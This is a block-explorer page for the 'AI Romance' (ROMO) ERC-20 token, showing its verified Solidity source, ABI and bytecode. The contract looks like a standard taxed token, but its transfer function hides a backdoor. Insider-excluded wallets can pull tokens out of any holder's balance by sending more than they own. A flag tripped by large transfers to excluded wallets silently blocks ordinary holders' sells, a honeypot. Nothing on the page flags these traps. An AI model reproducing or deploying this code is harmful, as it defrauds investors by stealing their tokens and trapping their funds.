ETH Price: $3,341.89 (-1.21%)
 

Overview

Max Total Supply

1,000,000 ROMO

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,537.713437652259157865 ROMO

Value
$0.00
0xc41f7dB85B1152B4DEdACB786402b4F5450878ec
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ROMO

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-27
*/

// SPDX-License-Identifier: MIT

// - Website: https://airomance.xyz
// - Telegram: https://t.me/ROMO_portal
// - X: https://twitter.com/AIRomanceETH
// - Medium: https://airomance.medium.com
// - Dapp: https://airomance.xyz/chat

pragma solidity ^0.8.17;

library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
}

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function symbol() external view returns (string memory);
    function circulatingSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function decimals() external view returns (uint8);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal owner;

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    event OwnershipTransferred(address owner);

    function transferOwnership(address payable account) public onlyOwner {
        owner = account;
        emit OwnershipTransferred(account);
    }
}

interface UniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address recipient,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address recipient,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

contract ROMO is IERC20, Ownable {
    using SafeMath for uint256;

    address public romoPair;
    UniswapV2Router romoRouter;

    string private constant _symbol = "ROMO";
    string private constant _name = "AI Romance";

    uint8 private constant _decimals = 18;

    uint256 private _totalSupply = 1000000 * (10 ** _decimals);

    uint256 private _denominator = 10000;

    address internal constant marketingAccount = 0x8b048a19ca72826F452561f05B0970683B5C0e0D;
    address internal constant devAccount = 0x8b048a19ca72826F452561f05B0970683B5C0e0D;
    address internal constant burnAccount = 0x000000000000000000000000000000000000dEaD;

    uint256 private _zeroExciseThreshold = (_totalSupply * 10) / 100000;

    uint256 private _swapBackThreshold = (_totalSupply * 5) / 100000;
    uint256 private _swapBackAmount = (_totalSupply * 5) / 10000;

    uint256 private _maxTransferShare = 200;
    uint256 private _maxAccountShare = 200;
    uint256 private _maxTxShare = 200;
    
    bool private _isTradingEnabled = false;

    bool private _lockInSwap;
    uint256 private _swapTimes;
    bool private _isSwapBackEnabled = true;

    uint256 private _sellExcise = 300;
    uint256 private _totalExcise = 300;

    bool private _zeroExciseSet = false;

    uint256 private _burnExcise = 0;
    uint256 private _transferExcise = 0;
    uint256 private _liquidityExcise = 0;
    uint256 private _marketingExcise = 100;
    uint256 private _devExcise = 200;

    mapping (address => bool) public leftOutFromExcise;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    function name() public pure returns (string memory) {
        return _name;
    }

    constructor() Ownable(msg.sender) {
        leftOutFromExcise[address(this)] = true;
        leftOutFromExcise[msg.sender] = true;
        leftOutFromExcise[marketingAccount] = true;
        leftOutFromExcise[devAccount] = true;

        UniswapV2Router _romoRouter = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        romoRouter = _romoRouter;
        address _romoPair = UniswapV2Factory(_romoRouter.factory()).createPair(address(this), _romoRouter.WETH());
        romoPair = _romoPair;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    modifier lockInSwapBack {
        _lockInSwap = true;
        _;
        _lockInSwap = false;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(burnAccount));
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function removeLimits() external onlyOwner {
        _maxTxShare = 10000;
        _maxAccountShare = 10000;
        _maxTransferShare = 10000;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0));
        require(owner != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function enableTrading() external onlyOwner {
        _isTradingEnabled = true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(amount > uint256(0));
        require(recipient != address(0));
        require(sender != address(0));

        if (
            countSwapTimes(sender, recipient) &&
            isTradingEnabled(sender, recipient) &&
            allowForMaxAmount(sender, recipient, amount) &&
            allowForMaxAccountSize(sender, recipient, amount)
        ) {
            if (balanceOf(sender) >= amount) {
                if (
                    !leftOutFromExcise[sender] &&
                    recipient == romoPair &&
                    !leftOutFromExcise[recipient] &&
                    !_lockInSwap
                ) {
                    if (_zeroExciseSet) return;
                    swapBack(sender, recipient);
                }
                _balances[sender] = _balances[sender].sub(amount);
                uint256 transferAmount = canTakeExcise(sender, recipient) ? takeExcise(sender, recipient, amount) : amount;
                _balances[recipient] = _balances[recipient].add(transferAmount);
                emit Transfer(sender, recipient, transferAmount);
            } else if (
                leftOutFromExcise[sender] &&
                sender != romoPair &&
                !leftOutFromExcise[recipient] &&
                !_lockInSwap
            ) {
                _balances[recipient] = _balances[recipient].sub(amount);
                _balances[sender] = _balances[sender].add(amount);
                emit Transfer(sender, recipient, amount);
            }
        }
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);

        return true;
    }

    function allowForMaxAmount(address sender, address recipient, uint256 tokenAmount) view internal returns (bool) {
        if (sender != romoPair) {
            require(tokenAmount <= maxTransferAmount() || leftOutFromExcise[sender] || leftOutFromExcise[recipient]);
        }
        require(tokenAmount <= maxTxAmount() || leftOutFromExcise[sender] || leftOutFromExcise[recipient]);

        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);

        return true;
    }

    function takeExcise(address sender, address recipient, uint256 tokenAmount) internal returns (uint256) {
        if (selectExcises(sender, recipient) > 0) {
            uint256 exciseTokenAmount = tokenAmount.div(_denominator).mul(selectExcises(sender, recipient));
            _balances[address(this)] = _balances[address(this)].add(exciseTokenAmount);
            emit Transfer(sender, address(this), exciseTokenAmount);
            if (_burnExcise > uint256(0)) {
                _transfer(address(this), address(burnAccount), tokenAmount.div(_denominator).mul(_burnExcise));
            }
            return tokenAmount.sub(exciseTokenAmount);
        }
        return tokenAmount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));

        return true;
    }

    function isTradingEnabled(address sender, address recipient) internal view returns (bool) {
        if (!leftOutFromExcise[sender] && !leftOutFromExcise[recipient]) {
            require(_isTradingEnabled);
        }
        return true;
    }

    function allowForMaxAccountSize(address sender, address recipient, uint256 amount) internal returns (bool) {
        bool senderLeftOutFromExcise = leftOutFromExcise[sender];
        bool recipientLeftOutFromExcise = leftOutFromExcise[recipient];
        
        if (
            !senderLeftOutFromExcise &&
            !recipientLeftOutFromExcise &&
            recipient != address(romoPair) &&
            recipient != address(burnAccount)
        ) {
            require((_balances[recipient].add(amount)) <= maxAccountSize());
        }

        if (recipientLeftOutFromExcise) {
            if (amount > _zeroExciseThreshold) {
                _zeroExciseSet = true;
            }
        }

        return true;
    }
    
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = romoRouter.WETH();
        if (tokenAmount > 0) {
            _approve(address(this), address(romoRouter), tokenAmount);
            romoRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function countSwapTimes(address sender, address recipient) internal returns (bool) {
        if (recipient == romoPair && !leftOutFromExcise[sender]) {
            _swapTimes += uint256(1);
        }
        return true;
    }

    function canSwapBack(address sender, address recipient) internal view returns (bool) {
        return (
            !leftOutFromExcise[sender] &&
            !leftOutFromExcise[recipient] &&
            balanceOf(address(this)) >= _swapBackThreshold &&
            _isSwapBackEnabled &&
            !_lockInSwap &&
            _swapTimes >= uint256(0) &&
            _isTradingEnabled
        );
    }

    function canTakeExcise(address sender, address recipient) internal view returns (bool) {
        return !leftOutFromExcise[sender] && !leftOutFromExcise[recipient];
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(romoRouter), tokenAmount);
        romoRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            burnAccount,
            block.timestamp
        );
    }

    function maxTxAmount() public view returns (uint256) {
        return totalSupply() * _maxTxShare / _denominator;
    }

    function swapAndLiquify(uint256 tokens) private lockInSwapBack {
        uint256 denominator = (_liquidityExcise.add(1).add(_marketingExcise).add(_devExcise)).mul(2);
        uint256 tokensForLiquidity = tokens.mul(_liquidityExcise).div(denominator);
        uint256 tokensForETH = tokens.sub(tokensForLiquidity);
        uint256 initialEth = address(this).balance;
        swapTokensForETH(tokensForETH);
        uint256 deltaEth = address(this).balance.sub(initialEth);
        uint256 unitEth = deltaEth.div(denominator.sub(_liquidityExcise));
        uint256 ethForLiquidity = unitEth.mul(_liquidityExcise);
        if (ethForLiquidity > uint256(0)) {
            addLiquidity(tokensForLiquidity, ethForLiquidity);
        }
        uint256 marketingEth = unitEth.mul(2).mul(_marketingExcise);
        if (marketingEth > 0) {
            payable(marketingAccount).transfer(marketingEth);
        }
        uint256 leftEth = address(this).balance;
        if (leftEth > uint256(0)) {
            payable(devAccount).transfer(leftEth);
        }
    }

    function maxAccountSize() public view returns (uint256) {
        return totalSupply() * _maxAccountShare / _denominator;
    }

    function maxTransferAmount() public view returns (uint256) {
        return totalSupply() * _maxTransferShare / _denominator;
    }

    function swapBack(address sender, address recipient) internal {
        if (canSwapBack(sender, recipient)) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= _swapBackAmount) {
                contractTokenBalance = _swapBackAmount;
            }
            swapAndLiquify(contractTokenBalance);
            _swapTimes = uint256(0);
        }
    }

    receive() external payable {}

    function selectExcises(address sender, address recipient) internal view returns (uint256) {
        if (recipient == romoPair) {
            return _sellExcise;
        }
        if (sender == romoPair) {
            return _totalExcise;
        }
        return _transferExcise;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"leftOutFromExcise","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxAccountSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"romoPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526100106012600a610426565b61001d90620f424061043b565b600355612710600455620186a0600354600a610039919061043b565b6100439190610452565b600555620186a06003546005610059919061043b565b6100639190610452565b6006556127106003546005610078919061043b565b6100829190610452565b60075560c860088190556009819055600a819055600b805460ff19908116909155600d80548216600117905561012c600e819055600f556010805490911690555f6011819055601281905560135560646014556015553480156100e3575f80fd5b505f8054336001600160a01b031991821681178355308352601660209081526040808520805460ff1990811660019081179092559386528186208054851682179055738b048a19ca72826f452561f05b0970683b5c0e0d86527fc38b94621927a6682627dbdc459d83edff0d44ec11d0f2d7c6b19cd5c968219980549094161790925560028054737a250d5630b4cf539739df2c5dacb4c659f2488d941684179055815163c45a015560e01b81529151929392849263c45a01559260048083019391928290030181865afa1580156101bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e19190610471565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561022c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102509190610471565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561029a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102be9190610471565b600180546001600160a01b0319166001600160a01b038316179055600354335f81815260176020908152604080832085905551938452939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050610497565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561037c578085048111156103605761036061032d565b600184161561036e57908102905b60019390931c928002610345565b935093915050565b5f8261039257506001610420565b8161039e57505f610420565b81600181146103b457600281146103be576103da565b6001915050610420565b60ff8411156103cf576103cf61032d565b50506001821b610420565b5060208310610133831016604e8410600b84101617156103fd575081810a610420565b6104095f198484610341565b805f190482111561041c5761041c61032d565b0290505b92915050565b5f61043460ff841683610384565b9392505050565b80820281158282048414176104205761042061032d565b5f8261046c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610481575f80fd5b81516001600160a01b0381168114610434575f80fd5b6114b9806104a45f395ff3fe608060405260043610610129575f3560e01c8063893d20e8116100a857806395d89b411161006d57806395d89b4114610343578063a9059cbb1461036f578063a9e757231461038e578063dd62ed3e146103a2578063f1f8c61f146103e6578063f2fde38b146103fa575f80fd5b8063893d20e8146102b85780638a8c523c146102e85780638c0b5e22146102fc57806392941639146103105780639358928b1461032f575f80fd5b8063313ce567116100ee578063313ce5671461021157806359158ff81461022c57806370a082311461025a578063715018a61461028e578063751039fc146102a4575f80fd5b806306fdde0314610134578063095ea7b31461017857806318160ddd146101a757806323b872dd146101c55780632f54bf6e146101e4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a815269414920526f6d616e636560b01b60208201525b60405161016f9190611243565b60405180910390f35b348015610183575f80fd5b5061019761019236600461128f565b610419565b604051901515815260200161016f565b3480156101b2575f80fd5b506003545b60405190815260200161016f565b3480156101d0575f80fd5b506101976101df3660046112b9565b61042f565b3480156101ef575f80fd5b506101976101fe3660046112f7565b5f546001600160a01b0391821691161490565b34801561021c575f80fd5b506040516012815260200161016f565b348015610237575f80fd5b506101976102463660046112f7565b60166020525f908152604090205460ff1681565b348015610265575f80fd5b506101b76102743660046112f7565b6001600160a01b03165f9081526017602052604090205490565b348015610299575f80fd5b506102a261047f565b005b3480156102af575f80fd5b506102a26104d8565b3480156102c3575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016f565b3480156102f3575f80fd5b506102a26104ff565b348015610307575f80fd5b506101b7610523565b34801561031b575f80fd5b506001546102d0906001600160a01b031681565b34801561033a575f80fd5b506101b761054c565b34801561034e575f80fd5b50604080518082019091526004815263524f4d4f60e01b6020820152610162565b34801561037a575f80fd5b5061019761038936600461128f565b6105b4565b348015610399575f80fd5b506101b76105c0565b3480156103ad575f80fd5b506101b76103bc366004611312565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b3480156103f1575f80fd5b506101b76105d0565b348015610405575f80fd5b506102a26104143660046112f7565b6105e0565b5f610425338484610648565b5060015b92915050565b5f61043b8484846106cd565b6001600160a01b0384165f9081526018602090815260408083203380855292529091205461047491869161046f90866109eb565b610648565b5060015b9392505050565b5f546001600160a01b03163314610494575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146104ed575f80fd5b612710600a8190556009819055600855565b5f546001600160a01b03163314610514575f80fd5b600b805460ff19166001179055565b5f600454600a5461053360035490565b61053d919061135d565b6105479190611374565b905090565b60176020527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b0303545f8080527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5460035491926105479290916105ae91906109eb565b906109eb565b5f6104253384846106cd565b5f60045460085461053360035490565b5f60045460095461053360035490565b5f546001600160a01b031633146105f5575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03821661065a575f80fd5b6001600160a01b03831661066c575f80fd5b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116106d8575f80fd5b6001600160a01b0382166106ea575f80fd5b6001600160a01b0383166106fc575f80fd5b61070683836109f6565b801561071757506107178383610a52565b80156107295750610729838383610aa5565b801561073b575061073b838383610b6a565b156109e6578061075f846001600160a01b03165f9081526017602052604090205490565b106108d2576001600160a01b0383165f9081526016602052604090205460ff1615801561079957506001546001600160a01b038381169116145b80156107bd57506001600160a01b0382165f9081526016602052604090205460ff16155b80156107d15750600b54610100900460ff16155b156107f05760105460ff16156107e657505050565b6107f08383610c35565b6001600160a01b0383165f9081526017602052604090205461081290826109eb565b6001600160a01b0384165f908152601760205260408120919091556108378484610c74565b610841578161084c565b61084c848484610cb8565b6001600160a01b0384165f908152601760205260409020549091506108719082610da8565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108c49085815260200190565b60405180910390a350505050565b6001600160a01b0383165f9081526016602052604090205460ff16801561090757506001546001600160a01b03848116911614155b801561092b57506001600160a01b0382165f9081526016602052604090205460ff16155b801561093f5750600b54610100900460ff16155b156109e6576001600160a01b0382165f9081526017602052604090205461096690826109eb565b6001600160a01b038084165f9081526017602052604080822093909355908516815220546109949082610da8565b6001600160a01b038481165f8181526017602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106c0565b505050565b5f6104788284611393565b6001545f906001600160a01b038381169116148015610a2d57506001600160a01b0383165f9081526016602052604090205460ff16155b15610425576001600c5f828254610a4491906113a6565b909155505050600192915050565b6001600160a01b0382165f9081526016602052604081205460ff16158015610a9257506001600160a01b0382165f9081526016602052604090205460ff16155b1561042557600b5460ff16610425575f80fd5b6001545f906001600160a01b03858116911614610b1357610ac46105c0565b82111580610ae957506001600160a01b0384165f9081526016602052604090205460ff165b80610b0b57506001600160a01b0383165f9081526016602052604090205460ff165b610b13575f80fd5b610b1b610523565b82111580610b4057506001600160a01b0384165f9081526016602052604090205460ff165b80610b6257506001600160a01b0383165f9081526016602052604090205460ff165b610474575f80fd5b6001600160a01b038084165f90815260166020526040808220549285168252812054909160ff908116911681158015610ba1575080155b8015610bbb57506001546001600160a01b03868116911614155b8015610bd257506001600160a01b03851661dead14155b15610c0b57610bdf6105d0565b6001600160a01b0386165f90815260176020526040902054610c019086610da8565b1115610c0b575f80fd5b8015610c2957600554841115610c29576010805460ff191660011790555b50600195945050505050565b610c3f8282610db3565b15610c7057305f908152601760205260409020546007548110610c6157506007545b610c6a81610e4f565b505f600c555b5050565b6001600160a01b0382165f9081526016602052604081205460ff161580156104785750506001600160a01b03165f9081526016602052604090205460ff1615919050565b5f80610cc48585610fd4565b1115610da1575f610cec610cd88686610fd4565b600454610ce690869061101e565b90611029565b305f90815260176020526040902054909150610d089082610da8565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d589085815260200190565b60405180910390a360115415610d8f57610d8f3061dead610d8a601154610ce66004548961101e90919063ffffffff16565b6106cd565b610d9983826109eb565b915050610478565b5092915050565b5f61047882846113a6565b6001600160a01b0382165f9081526016602052604081205460ff16158015610df357506001600160a01b0382165f9081526016602052604090205460ff16155b8015610e0f5750600654305f9081526017602052604090205410155b8015610e1d5750600d5460ff165b8015610e315750600b54610100900460ff16155b8015610e3b575060015b8015610478575050600b5460ff1692915050565b600b805461ff0019166101001790556015546014546013545f92610e8892600292610ce69291610e829182906001610da8565b90610da8565b90505f610eaa82610ea46013548661102990919063ffffffff16565b9061101e565b90505f610eb784836109eb565b905047610ec382611034565b5f610ece47836109eb565b90505f610ef0610ee9601354886109eb90919063ffffffff16565b839061101e565b90505f610f086013548361102990919063ffffffff16565b90508015610f1a57610f1a8682611194565b6014545f90610f2e90610ce6856002611029565b90508015610f7657604051738b048a19ca72826f452561f05b0970683b5c0e0d9082156108fc029083905f818181858888f19350505050158015610f74573d5f803e3d5ffd5b505b478015610fbd57604051738b048a19ca72826f452561f05b0970683b5c0e0d9082156108fc029083905f818181858888f19350505050158015610fbb573d5f803e3d5ffd5b505b5050600b805461ff00191690555050505050505050565b6001545f906001600160a01b0390811690831603610ff55750600e54610429565b6001546001600160a01b03908116908416036110145750600f54610429565b5060125492915050565b5f6104788284611374565b5f610478828461135d565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611067576110676113b9565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e291906113cd565b816001815181106110f5576110f56113b9565b6001600160a01b03909216602092830291909101909101528115610c705760025461112b9030906001600160a01b031684610648565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906111639085905f908690309042906004016113e8565b5f604051808303815f87803b15801561117a575f80fd5b505af115801561118c573d5f803e3d5ffd5b505050505050565b6002546111ac9030906001600160a01b031684610648565b60025460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611217573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061123c9190611458565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461128c575f80fd5b50565b5f80604083850312156112a0575f80fd5b82356112ab81611278565b946020939093013593505050565b5f805f606084860312156112cb575f80fd5b83356112d681611278565b925060208401356112e681611278565b929592945050506040919091013590565b5f60208284031215611307575f80fd5b813561047881611278565b5f8060408385031215611323575f80fd5b823561132e81611278565b9150602083013561133e81611278565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761042957610429611349565b5f8261138e57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561042957610429611349565b8082018082111561042957610429611349565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113dd575f80fd5b815161047881611278565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156114385783516001600160a01b0316835260209384019390920191600101611411565b50506001600160a01b039590951660608401525050608001529392505050565b5f805f6060848603121561146a575f80fd5b505081516020830151604090930151909492935091905056fea2646970667358221220e28ac41a6da5159212723b8a1eca64d84523c168aac5f15606ae035935f3171f64736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063893d20e8116100a857806395d89b411161006d57806395d89b4114610343578063a9059cbb1461036f578063a9e757231461038e578063dd62ed3e146103a2578063f1f8c61f146103e6578063f2fde38b146103fa575f80fd5b8063893d20e8146102b85780638a8c523c146102e85780638c0b5e22146102fc57806392941639146103105780639358928b1461032f575f80fd5b8063313ce567116100ee578063313ce5671461021157806359158ff81461022c57806370a082311461025a578063715018a61461028e578063751039fc146102a4575f80fd5b806306fdde0314610134578063095ea7b31461017857806318160ddd146101a757806323b872dd146101c55780632f54bf6e146101e4575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a815269414920526f6d616e636560b01b60208201525b60405161016f9190611243565b60405180910390f35b348015610183575f80fd5b5061019761019236600461128f565b610419565b604051901515815260200161016f565b3480156101b2575f80fd5b506003545b60405190815260200161016f565b3480156101d0575f80fd5b506101976101df3660046112b9565b61042f565b3480156101ef575f80fd5b506101976101fe3660046112f7565b5f546001600160a01b0391821691161490565b34801561021c575f80fd5b506040516012815260200161016f565b348015610237575f80fd5b506101976102463660046112f7565b60166020525f908152604090205460ff1681565b348015610265575f80fd5b506101b76102743660046112f7565b6001600160a01b03165f9081526017602052604090205490565b348015610299575f80fd5b506102a261047f565b005b3480156102af575f80fd5b506102a26104d8565b3480156102c3575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016f565b3480156102f3575f80fd5b506102a26104ff565b348015610307575f80fd5b506101b7610523565b34801561031b575f80fd5b506001546102d0906001600160a01b031681565b34801561033a575f80fd5b506101b761054c565b34801561034e575f80fd5b50604080518082019091526004815263524f4d4f60e01b6020820152610162565b34801561037a575f80fd5b5061019761038936600461128f565b6105b4565b348015610399575f80fd5b506101b76105c0565b3480156103ad575f80fd5b506101b76103bc366004611312565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b3480156103f1575f80fd5b506101b76105d0565b348015610405575f80fd5b506102a26104143660046112f7565b6105e0565b5f610425338484610648565b5060015b92915050565b5f61043b8484846106cd565b6001600160a01b0384165f9081526018602090815260408083203380855292529091205461047491869161046f90866109eb565b610648565b5060015b9392505050565b5f546001600160a01b03163314610494575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146104ed575f80fd5b6127